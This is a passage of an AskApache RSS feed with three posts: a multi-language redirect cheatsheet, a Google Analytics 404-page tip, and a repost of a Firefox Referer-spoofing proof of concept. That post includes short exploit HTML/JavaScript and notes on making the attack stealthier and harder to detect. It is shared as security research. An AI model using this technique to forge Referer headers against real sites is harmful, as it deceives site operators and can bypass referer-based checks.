			<wfw:commentRss>http://www.askapache.com/seo/advanced-http-redirection.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>301 Redirect Cheatsheet</title>
		<link>http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html</link>
		<comments>http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#comments</comments>
		<pubDate>Fri, 30 Nov 2007 01:48:15 +0000</pubDate>
		<dc:creator>AskApache</dc:creator>
				<category><![CDATA[Htaccess]]></category>

		<guid isPermaLink="false">http://www.askapache.com.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html</guid>
		<description><![CDATA[<p>Ultimate Redirect Cheatsheet for multiple programming languages.  Redirecting Users with Javascript redirect, meta refresh redirect, and php redirect, also htaccess methods, python, coldfusion, asp, perl, etc.</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html"></a><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html"><cite>AskApache.com</cite></a></p><p>I got tired of always having to search google to remember the syntax for issuing seo friendly (<a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#status-300">300</a>, <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#status-301">301</a>, <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#status-302">302</a>, <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#status-303">303</a>, <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#status-305">305</a>, <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#status-306">306</a>, <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#status-307">307</a>) <strong>Redirects</strong> using multiple programming languages and methods... so I made my own list!</p>

<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-methods" name="redirect-methods" id="redirect-methods" title="Redirection Methods">Redirection Methods</a></h2>

        <ul>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-meta" title="Redirect with meta http-equiv tags">Redirect with meta http-equiv tags</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-javascript" title="Redirect with javascript">Redirect with javascript</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-php" title="Redirect with PHP">Redirect with PHP</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-perl" title="Redirect with Perl">Redirect with Perl</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-coldfusion" title="Redirect with ColdFusion (CFM)">Redirect with ColdFusion (CFM)</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-asp" title="Redirect with ASP (VB Script)">Redirect with ASP (VB Script)</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-" title="Redirect with shell script">Redirect with shell script</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-mod_rewrite" title="Redirect with mod_rewrite in apache htaccess">Redirect with mod_rewrite in apache htaccess</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-mod_alias" title="Redirect with mod_alias in apache htaccess">Redirect with mod_alias in apache htaccess</a></li>
            <li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-errordocument" title="Redirect with ErrorDocument in apache htaccess">Redirect with ErrorDocument in apache htaccess</a></li>
<li><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#python-django-redirect">Redirect with Django/Python</a></li>
        </ul>


<p class="anote">Am I missing something?  Most definately!  Please use the comment form below to suggest new code.</p>




<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-meta" name="redirect-with-meta" id="redirect-with-meta" title="Redirect with meta http-equiv tags">Redirect with meta http-equiv tags</a></h2>
<p>These go in the <code>&lt;head&gt; &lt;/head&gt;</code> section of your html.  Usually when you use this meta redirect method you should also use the javascript method, just to be safe.</p>

<h3>Refresh meta http-equiv tag</h3>
<p>Redirects to http://www.askapache.com after 0 seconds.

<pre>&lt;meta http-equiv="refresh" content="0;url=http://www.askapache.com" /&gt;</pre>



<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-javascript" name="redirect-with-javascript" id="redirect-with-javascript" title="Redirect with javascript">Redirect with javascript</a></h2>
<p>These go in the <code>&lt;head&gt; &lt;/head&gt;</code> section of your html.</p>

<h3>Basic javascript Redirect method</h3>
<p>Will redirect user to http://www.askapache.com immediately</p>

<pre>&lt;script type="text/javascript"&gt;
window.location.href=&#039;http://www.askapache.com&#039;;
&lt;/script&gt;</pre>



<h3>Redirect after specific time period</h3>
<p>This will redirect to http://www.askapache.com after 2 seconds</p>

<pre>&lt;body onload="javascript:setTimeout(function(){window.location.href=&#039;http://www.askapache.com&#039;},2000);"&gt;</pre>





<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-php" name="redirect-with-php" id="redirect-with-php" title="Redirect with PHP">Redirect with PHP</a></h2>
<h3>Using "Location" header</h3>

<pre>&lt;?php
header(&#039;Location:http://www.askapache.com&#039;);
exit;
exit();
?&gt;</pre>


<h3>Using "Refresh" header</h3>

<pre>&lt;?php
header(&#039;Refresh: 0; URL=http://www.askapache.com&#039;);
exit;
exit();
?&gt;</pre>




<h3>Ultimate PHP method</h3>
<p>It redirects to a page specified by "$url".  $mode can be:</p>
<ul>
<li><strong>LOCATION</strong>: Redirect via Header "Location"</li>
<li><strong>REFRESH</strong>: Redirect via Header "Refresh"</li>
<li><strong>META</strong>:  Redirect via HTML META tag</li>
<li><strong>JS</strong>: Redirect via JavaScript command</li>
</ul>

<pre>&lt;?php
function do_redirect($url,$mode)
{
    if (strncmp(&#039;http:&#039;,$url,5) &amp;&amp; strncmp(&#039;https:&#039;,$url,6)) {
        $starturl = ($_SERVER["HTTPS"] == &#039;on&#039; ? &#039;https&#039; : &#039;http&#039;) . &#039;://&#039;.
        (empty($_SERVER[&#039;HTTP_HOST&#039;])? $_SERVER[&#039;SERVER_NAME&#039;] : $_SERVER[&#039;HTTP_HOST&#039;]);
        if ($url[0] != &#039;/&#039;) $starturl .= dirname($_SERVER[&#039;PHP_SELF&#039;]).&#039;/&#039;;
        $url = "$starturl$url";
    }
    switch($mode) {
        case &#039;LOCATION&#039;:
        header("Location: $url");
        exit;
        case &#039;REFRESH&#039;:
        header("Refresh: 0; URL=\"$url\"");
        exit;
        case &#039;META&#039;:
        exit;
        default:
        ?&gt;&lt;script type="text/javascript"&gt;
        window.location.href=&#039;&lt;?=$url?&gt;&#039;;
        &lt;/script&gt;&lt;?
    }
    exit;
}
?&gt;</pre>





<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-perl" name="redirect-with-perl" id="redirect-with-perl" title="Redirect with Perl">Redirect with Perl</a></h2>


<h3>Simple 302 Redirect with perl</h3>

<pre>#!/usr/bin/perl
my $URL = "http://www.askapache.com";
print "Status: 302 Moved\nLocation: $URL\n\n";</pre>



<h3>Simpler 302 Redirect with perl</h3>

<pre>#!/usr/bin/perl
print "Location: http://www.askapache.com\n\n";
exit;</pre>





<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-coldfusion" name="redirect-with-coldfusion" id="redirect-with-coldfusion" title="Redirect with ColdFusion (CFM)">Redirect with ColdFusion (CFM)</a></h2>
<h3>Using cheader for 301 "permanent" redirect</h3>

<pre>&lt;cfheader statuscode="301" statustext="Moved Permanently"&gt;
&lt;cfheader name="Location" value="http://www.askapache.com"&gt;
&lt;cfabort&gt;</pre>



<h3>Using clflocation for 302 "temporary" redirect</h3>

<pre>&lt;cflocation url="http://www.askapache.com"&gt;</pre>





<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-asp" name="redirect-with-asp" id="redirect-with-asp" title="Redirect with ASP (VB Script)">Redirect with ASP (VB Script)</a></h2>

<h3>301 Redirect</h3>

<pre>&lt;%@ Language=VBScript %&gt;
&lt;%
response.status="301 moved permanently"
Response.AddHeader "Location", "http://www.askapache.com"
%&gt;</pre>





<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-" name="redirect-" id="redirect-" title="Redirect with shell script">Redirect with shell script</a></h2>

<h3>302 Redirect with sh shell script</h3>

<pre>#!/bin/sh
echo "Content-type: text/html"
echo "Location: http://www.askapache.com";
echo "";
exit 0;</pre>











<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-mod_rewrite" name="redirect-with-mod_rewrite" id="redirect-with-mod_rewrite" title="Redirect with mod_rewrite in apache htaccess">Redirect with mod_rewrite in apache htaccess</a></h2>
<p>See also <a href="http://www.askapache.com/htaccess/htaccess.html" title="Ultimate Apache htaccess">Ultimate Apache htaccess article</a> and <a href="http://en.wikipedia.org/wiki/URL_redirection">URL Redirection</a></p>

<h3>301 Redirect</h3>
<p>Redirects permanently when a request is made to site.com/thisword.html to http://www.askapache.com</p>

<pre>RewriteEngine On
RewriteBase /
RewriteRule ^thisword\.html$ http://www.askapache.com [R=301,NC,L]</pre>


<h3>302 Redirect</h3>
<p>Redirects temporarily when a request is made to site.com/thisword.html to http://www.askapache.com</p>

<pre>RewriteEngine On
RewriteBase /
RewriteRule ^thisword\.html$ http://www.askapache.com [R,NC,L]</pre>



<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-mod_alias" name="redirect-with-mod_alias" id="redirect-with-mod_alias" title="Redirect with mod_alias in apache htaccess">Redirect with mod_alias in apache htaccess</a></h2>
<h3>301 Redirect</h3>

<pre>Redirect 301 /thisword.html http://www.askapache.com</pre>

<h4>or with RedirectPerm</h4>
<pre>RedirectPerm /thisword.html http://www.askapache.com</pre>

<h4>or with RedirectMatch</h4>
<pre>RedirectMatch 301 ^thisword\.html$ http://www.askapache.com</pre>



<h3>302 Redirect</h3>
<pre>Redirect 302 /thisword.html http://www.askapache.com</pre>

<h4>or with RedirectTemp</h4>
<pre>RedirectTemp /thisword.html http://www.askapache.com</pre>

<h4>or with RedirectMatch</h4>
<pre>RedirectMatch 302 ^thisword\.html$ http://www.askapache.com</pre>




<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#redirect-with-errordocument" name="redirect-with-errordocument" id="redirect-with-errordocument" title="Redirect with ErrorDocument in apache htaccess">Redirect with ErrorDocument in apache htaccess</a></h2>
<h3>302 Redirect</h3>
<p>Issues a 302 Redirect to http://www.askapache.com when a file is not found.  See also <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html" title="Force Apache to output any HTTP Status Code with ErrorDocument">Force Apache to output any HTTP Status Code with ErrorDocument</a></p>
<pre>ErrorDocument 404 http://www.askapache.com</pre>



<h2><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html#python-django-redirect" name="python-django-redirect" id="python-django-redirect" title="Redirect with Python / Django">Redirect with Python / Django</a></h2>
<p>Thanks to <a href="http://blog.tkbe.org/">thebjorn</a> for contributing this first one, which issues a 302 Redirect.</p>
<pre>from django import http
def view(request):
return http.HttpResponseRedirect(&#039;http://www.askapache.com/&#039;)</pre>

<p>This example was contributed by <a href="http://breadfromscratch.com/">John</a> and shows how to issue a proper <strong>301 Redirect</strong>, <em>additional info on this below the example</em>.</p>
<pre>from django import http
def view(request):
return http.HttpResponsePermanentRedirect (&#039;http://www.askapache.com/&#039;)</pre>

<blockquote cite="http://docs.djangoproject.com/en/dev/ref/request-response/#httpresponse-subclasses">
<p><a href="http://docs.djangoproject.com/en/dev/ref/request-response/#httpresponse-subclasses">Django</a> includes a number of <tt class="docutils literal">HttpResponse</tt> subclasses that handle different types of HTTP responses. Like <tt class="docutils literal"><span class="pre">HttpResponse</span></tt>, these subclasses live in <tt class="xref docutils literal">django.http</tt>.</p>
<dl><dt><tt>HttpResponseRedirect</tt></dt><dd>The constructor takes a single argument -- the path to redirect to. This can be a fully qualified URL (e.g. <tt><span class="pre">'http://www.askapache.com/htaccess/'</span></tt>) or an absolute URL with no domain (e.g. <tt>'/htaccess/'</tt>). Note that this returns an HTTP status code 302.</dd>
<dt><tt>HttpResponsePermanentRedirect</tt></dt><dd>Like <tt>HttpResponseRedirect</tt></a>, but it returns a permanent redirect (HTTP status code 301) instead of a "found" redirect (status code 302).</dd><dt><tt>HttpResponseNotModified</tt></dt><dd>The constructor doesn't take any arguments. Use this to designate that a page hasn't been modified since the user's last request (status code 304).</dd></dl>
</blockquote><p><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html"></a><a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html">301 Redirect Cheatsheet</a> originally appeared on <cite>AskApache.com</cite> </p>]]></content:encoded>
			<wfw:commentRss>http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Referer Spoofing Using JavaScript</title>
		<link>http://www.askapache.com/javascript/referer-spoofing-using-javascript.html</link>
		<comments>http://www.askapache.com/javascript/referer-spoofing-using-javascript.html#comments</comments>
		<pubDate>Tue, 27 Nov 2007 08:21:33 +0000</pubDate>
		<dc:creator>AskApache</dc:creator>
				<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.askapache.com/javascript/referer-spoofing-using-javascript.html</guid>
		<description><![CDATA[<p><a class="IFL" rel="lb" href='http://uploads.askapache.com/2007/11/pseudo-flaw.png' title='Research. Demonstrations. Utilities.'><img src='http://uploads.askapache.com/2007/11/pseudo-flaw.thumbnail.png' alt='pseudo-flaw.net' /></a>Even though at the moment I'm more into AJAX and simple behavioural <strong>unobtrusive javascript</strong> more than java, I still remember how excited I was back in 1995 when Sun released both beta and alpha Java versions to the public..   In fact I still have my Java 1.0 Unleashed book, which I'm looking at right now.</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.askapache.com/javascript/referer-spoofing-using-javascript.html"></a><a href="http://www.askapache.com/javascript/referer-spoofing-using-javascript.html"><cite>AskApache.com</cite></a></p><p>Just read an <a href="http://pseudo-flaw.net/content/web-browsers/firefox-referer-spoofing/">interesting article</a> on the awesome <a href="http://pseudo-flaw.net">pseudo-flaw.net</a> that you might enjoy.  Even though at the moment I'm more into AJAX and simple behavioural <strong>unobtrusive javascript</strong> as opposed to java, I still remember how excited I was back in 1995 when Sun released both beta and alpha Java versions to the public..   In fact I still have my Java 1.0 Unleashed book, which I'm looking at right now.</p>

<p><strong>Javascript is such a fun language</strong> to play with and experiment with, I just don't see the value in hacking javascript to do blackhat stuff.. I really don't see the value in doing any blackhat stuff for the simple reason that its not worth the risk.  I really admire the hackers who freely give their time, energy, and expertise to improve the security of free software such as Mozilla Firefox.. it's fun to see what other people are discovering.. Check it.</p>
<p><a href='http://pseudo-flaw.net/' title='Research. Demonstrations. Utilities.'><img src='http://uploads.askapache.com/2007/11/pseudo-flaw.png' alt='pseudo-flaw.net' title="pseudo flaw javascript" /></a></p>
<h2>Proof Of Exploit Code</h2>

<pre>&lt;html&gt;
  &lt;head&gt;&lt;meta http-equiv="Refresh" content="1;url=http://www.askapache.com/"&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;script defer="1"&gt;
      setTimeout(function() {
      // from The Jungle Book, by Rudyard Kipling
      var text = "";
      text += "At the hole where he went in\n";
      text += "Red-Eye called to Wrinkle-Skin.\n";
      text += "Hear what little Red-Eye saith:\n";
      text += "\"Nag, come up and dance with death!\"\n";
      text += "\n";
      text += "Eye to eye and head to head,\n";
      text += "   (Keep the measure, Nag.)\n";
      text += "This shall end when one is dead;\n";
      text += "   (At thy pleasure, Nag.)\n";
      text += "Turn for turn and twist for twist-\n";
      text += "   (Run and hide thee, Nag.)\n";
      text += "Hah!  The hooded Death has missed!\n";
      text += "   (Woe betide thee, Nag!)\n";
      prompt(text);
      var t=new image();
      t.src=&#039;http://topsites.blogflux.com/track_96716..gif&#039;;
      location="http://pseudo-flaw.net/firefox-referer-spoofing/log-request-info.cgi?title=Request+Info:+Quickly";
      }, 900);
      &lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;</pre>



<h3>Notes</h3>
<ul>
<li>Only the GET request method seems to be affected. There does not appear to be any mechanism to submit POST data.</li>
<li>If the user's browser is configured to not submit Referer information (e.g., network.http.sendRefererHeader=0), these attacks obviously do nothing.</li>
<li>The attack will fail if the user forcibly kills the browser, turns off her machine or severs her Internet connection before dismissing the dialog box.</li>
<li>The examples use dynamically generated iframe for demonstration purposes. These attacks work equally as well for static pages or top level content (e.g., sample using meta refresh [source]). Unfortunately, it is not as stealthy.</li>
<li>The meta refresh approach is most desirable, because the initial request is submitted without any referer information making the attack more difficult to detect.</li>
<li>These examples use intentionally goofy text. A real attack would use more appropriate text.</li>
<li>Invoking the "Joke Method" twice in a row crashes MineField/3.0a9pre.</li>
</ul><p><a href="http://www.askapache.com/javascript/referer-spoofing-using-javascript.html"></a><a href="http://www.askapache.com/javascript/referer-spoofing-using-javascript.html">Referer Spoofing Using JavaScript</a> originally appeared on <cite>AskApache.com</cite> </p>]]></content:encoded>
			<wfw:commentRss>http://www.askapache.com/javascript/referer-spoofing-using-javascript.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Advanced Google Analytics 404 Error Page</title>
		<link>http://www.askapache.com/google/tip-google-analytics-404-error-page.html</link>
		<comments>http://www.askapache.com/google/tip-google-analytics-404-error-page.html#comments</comments>
		<pubDate>Sun, 01 Jul 2007 20:16:54 +0000</pubDate>
		<dc:creator>AskApache</dc:creator>
				<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.askapache.com.com/seo/tip-google-analytics-404-error-page.html</guid>
		<description><![CDATA[<p><a class='IFL' href='http://uploads.askapache.com/2007/02/google-analytics-tips.png' title='ScreenShot of Google Analytics Custom 404 Error Page Results'><img src='http://uploads.askapache.com/2007/02/google-analytics-tips.thumbnail.png' alt='ScreenShot of Google Analytics Custom 404 Error Page Results' /></a><strong>Advanced 404 Not Found Error page usage with Google Analytics</strong>.  This makes it very easy to diagnose and keep track of 404 Error messages from within google analytics.  Enjoy!<br class="C" /></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.askapache.com/google/tip-google-analytics-404-error-page.html"></a><a href="http://www.askapache.com/google/tip-google-analytics-404-error-page.html"><cite>AskApache.com</cite></a></p><p><a rel="lb" class='IFL' href='http://uploads.askapache.com/2007/02/google-analytics-tips.png' title='ScreenShot of Google Analytics Custom 404 Error Page Results'><img src='http://uploads.askapache.com/2007/02/google-analytics-tips.thumbnail.png' alt='ScreenShot of Google Analytics Custom 404 Error Page Results' title="google analytics tips.thumbnail google" /></a><strong>Advanced 404 Not Found Error page usage with Google Analytics</strong>.  This makes it very easy to diagnose and keep track of 404 Error messages from within google analytics.  Enjoy!<br class="C" /></p>
<p class="anote"><span>NOTE:</span>You will most definately want to check out and use the <a href="http://www.askapache.com/seo/404-google-wordpress-plugin.html" title="404 Error Page WordPress Plugin">Google 404 Error Page</a>.</p>

<h3>Normal Google Analytics code on 404 error page</h3>
<p>This default setup for 404 error pages makes it very difficult to find and analyze 404 error page usage stats in Google Analytics</p>
<pre>&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-732153-7"; urchinTracker();
&lt;/script&gt;</pre>


<h3>Advanced 404 Error Page Setup for Google Analytics urchin</h3>
<p>Since the urchinTracker function has 1 argument which is called "page", this code tells it that the "page" should be <code>/404/?page-not-found=page-requested&amp;linked-from=referrer</code>.</p>
<pre>&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-732153-7";
urchinTracker("/404/?page-not-found=" + _udl.pathname + _udl.search + "&amp;linked-from=" + _ubd.referrer);
&lt;/script&gt;</pre>




<h2>My WordPress 404.php page</h2>
<p>Note also how I have used the <a href="http://www.askapache.com/seo/seo-with-robotstxt.html" title="googlebot noodp, noindex, noarchive, nofollow">googlebot</a> and <a href="http://www.askapache.com/seo/seo-with-robotstxt.html" title="robots noodp, noindex, noarchive, nofollow">robots meta tags</a> to tell robots not to index or follow links in this page</p>
<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"&gt;
&lt;head profile="http://gmpg.org/xfn/11"&gt;
    &lt;title&gt;404 Error - Page Not Found&lt;/title&gt;
    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
    &lt;meta name="googlebot" content="noarchive,noindex,nofollow" /&gt;
    &lt;meta name="robots" content="noarchive,noindex,nofollow" /&gt;
    &lt;link rel="stylesheet" type="text/css" href="http://www.askapache.com/wp-content/themes/apachehtaccess-10/style.css" media="screen" /&gt;
    &lt;script src="http://static.askapache.com/j/askapache.js?v924" type="text/javascript"&gt;&lt;/script&gt;
    &lt;link rel="shortcut icon" href="http://www.askapache.com/favicon.ico" type="image/x-icon" /&gt;
&lt;/head&gt;
&lt;body class="notfound404"&gt;
&lt;h1&gt;&lt;a href="http://www.askapache.com/"&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;div class="a"&gt;
    &lt;div class="b"&gt;
        &lt;h2&gt;&lt;span style="color:red;"&gt;Ooops!&lt;/span&gt;&lt;strong&gt; - The requested page could not be found.&lt;/strong&gt;&lt;/h2&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;p id="FootW"&gt;&amp;copy;2007 AskApache Privacy Policy - Terms of Service - &lt;a class="ICOdreamhost" rel="nofollow" href="http://www.dreamhost.com/r.cgi?211825"&gt;DreamHost Hosting&lt;/a&gt;&lt;/p&gt;
&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-732153-7";
urchinTracker("/404/?page-not-found=" + _udl.pathname + _udl.search + "&amp;linked-from=" + _ubd.referrer);
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>




<h3>Google Analytics urchin.js</h3>
<pre>//-- Google Analytics Urchin Module
//-- Copyright 2005 Google, All Rights Reserved.
&nbsp;
//-- Urchin On Demand Settings ONLY
var _uacct="";      // set up the Urchin Account
var _userv=1;      // service mode (0=local,1=remote,2=both)
&nbsp;
//-- UTM User Settings
var _ufsc=1;      // set client info flag (1=on|0=off)
var _udn="auto";    // (auto|none|domain) set the domain name for cookies
var _uhash="on";    // (on|off) unique domain hash for cookies
var _utimeout="1800";     // set the inactive session timeout in seconds
var _ugifpath="/__utm.gif";  // set the web path to the __utm.gif file
var _utsp="|";      // transaction field separator
var _uflash=1;      // set flash version detect option (1=on|0=off)
var _utitle=1;      // set the document title detect option (1=on|0=off)
var _ulink=0;      // enable linker functionality (1=on|0=off)
var _uanchor=0;      // enable use of anchors for campaign (1=on|0=off)
var _utcp="/";      // the cookie path for tracking
var _usample=100;    // The sampling % of visitors to track (1-100).
&nbsp;
//-- UTM Campaign Tracking Settings
var _uctm=1;      // set campaign tracking module (1=on|0=off)
var _ucto="15768000";    // set timeout in seconds (6 month default)
var _uccn="utm_campaign";  // name
var _ucmd="utm_medium";    // medium (cpc|cpm|link|email|organic)
var _ucsr="utm_source";    // source
var _uctr="utm_term";    // term/keyword
var _ucct="utm_content";  // content
var _ucid="utm_id";    // id number
var _ucno="utm_nooverride";  // don&#039;t override
&nbsp;
//-- Auto/Organic Sources and Keywords
var _uOsr=new Array();
var _uOkw=new Array();
_uOsr[0]="google";  _uOkw[0]="q";
_uOsr[1]="yahoo";  _uOkw[1]="p";
_uOsr[2]="msn";    _uOkw[2]="q";
_uOsr[3]="aol";    _uOkw[3]="query";
_uOsr[4]="aol";    _uOkw[4]="encquery";
_uOsr[5]="lycos";  _uOkw[5]="query";
_uOsr[6]="ask";    _uOkw[6]="q";
_uOsr[7]="altavista";  _uOkw[7]="q";
_uOsr[8]="search";  _uOkw[8]="q";
_uOsr[9]="netscape";  _uOkw[9]="s";
_uOsr[10]="cnn";  _uOkw[10]="query";
_uOsr[11]="looksmart";  _uOkw[11]="qt";
_uOsr[12]="about";  _uOkw[12]="terms";
_uOsr[13]="mamma";  _uOkw[13]="query";
_uOsr[14]="alltheweb";  _uOkw[14]="q";
_uOsr[15]="gigablast";  _uOkw[15]="q";
_uOsr[16]="voila";  _uOkw[16]="kw";
_uOsr[17]="virgilio";  _uOkw[17]="qs";
_uOsr[18]="live";  _uOkw[18]="q";
_uOsr[19]="baidu";  _uOkw[19]="wd";
_uOsr[20]="alice";  _uOkw[20]="qs";
_uOsr[21]="seznam";  _uOkw[21]="w";
_uOsr[22]="yandex";  _uOkw[22]="text";
_uOsr[23]="najdi";  _uOkw[23]="q";
&nbsp;
//-- Auto/Organic Keywords to Ignore
var _uOno=new Array();
//_uOno[0]="urchin";
//_uOno[1]="urchin.com";
//_uOno[2]="www.urchin.com";
&nbsp;
//-- Referral domains to Ignore
var _uRno=new Array();
//_uRno[0]=".urchin.com";</pre>

<a href='http://uploads.askapache.com/2007/03/urchin1.js' title='Google Analytics urchin.js'>Google Analytics urchin.js</a>
<pre>Urchin On Demand Settings ONLY
_uacct  =""       set up the Urchin Account
_userv  =1       service mode (0 =local,1 =remote,2 =both)
&nbsp;
UTM User Settings
_ufsc  =1       set client info flag (1 =on|0 =off)
_udn ="auto"     (auto|none|domain) set the domain name for cookies
_uhash ="on"     (on|off) unique domain hash for cookies
_utimeout ="1800"      set the inactive session timeout in seconds
_ugifpath ="/__utm.gif"   set the web path to the __utm.gif file
_utsp ="|"       transaction field separator
_uflash =1       set flash version detect option (1 =on|0 =off)
_utitle =1       set the document title detect option (1 =on|0 =off)
_ulink =0       enable linker functionality (1 =on|0 =off)
_uanchor =0       enable use of anchors for campaign (1 =on|0 =off)
_utcp ="/"       the cookie path for tracking
_usample =100     The sampling % of visitors to track (1-100).
&nbsp;
UTM Campaign Tracking Settings
_uctm =1       set campaign tracking module (1 =on|0 =off)
_ucto ="15768000"     set timeout in seconds (6 month default)
_uccn ="utm_campaign"   name
_ucmd ="utm_medium"     medium (cpc|cpm|link|email|organic)
_ucsr ="utm_source"     source
_uctr ="utm_term"     term/keyword
_ucct ="utm_content"   content
_ucid ="utm_id"     id number
_ucno ="utm_nooverride"   don&#039;t override</pre><p><a href="http://www.askapache.com/google/tip-google-analytics-404-error-page.html"></a><a href="http://www.askapache.com/google/tip-google-analytics-404-error-page.html">Advanced Google Analytics 404 Error Page</a> originally appeared on <cite>AskApache.com</cite> </p>]]></content:encoded>
			<wfw:commentRss>http://www.askapache.com/google/tip-google-analytics-404-error-page.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

